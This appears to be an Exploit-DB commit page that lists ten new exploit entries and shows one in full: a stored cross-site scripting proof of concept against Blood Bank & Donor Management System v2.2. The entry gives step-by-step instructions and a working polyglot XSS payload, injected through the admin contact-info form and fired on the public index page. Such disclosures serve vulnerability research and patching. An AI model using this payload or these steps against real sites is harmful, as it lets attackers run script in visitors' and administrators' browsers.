a5920da7af
10 changes to exploits/shellcodes/ghdb Ricoh Printer - Directory and File Exposure Blood Bank & Donor Management System using v2.2 - Stored XSS Equipment Rental Script-1.0 - SQLi Bank Locker Management System - SQL Injection Fundraising Script 1.0 - SQLi PHP Shopping Cart 4.2 - Multiple-SQLi 7 Sticky Notes v1.9 - OS Command Injection Typora v1.7.4 - OS Command Injection
17 lines
No EOL
768 B
Text
17 lines
No EOL
768 B
Text
# Exploit Title: Blood Bank & Donor Management System using v2.2 - Stored XSS
|
|
# Application: Blood Donor Management System
|
|
# Version: v2.2
|
|
# Bugs: Stored XSS
|
|
# Technology: PHP
|
|
# Vendor Homepage: https://phpgurukul.com/
|
|
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system-free-download/
|
|
# Date: 12.09.2023
|
|
# Author: SoSPiro
|
|
# Tested on: Windows
|
|
|
|
#POC
|
|
========================================
|
|
1. Login to admin account
|
|
2. Go to /admin/update-contactinfo.php
|
|
3. Change "Adress" or " Email id " or " Contact Number" inputs and add "/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e" payload.
|
|
4. Go to http://bbdms.local/inedx.php page and XSS will be triggered. |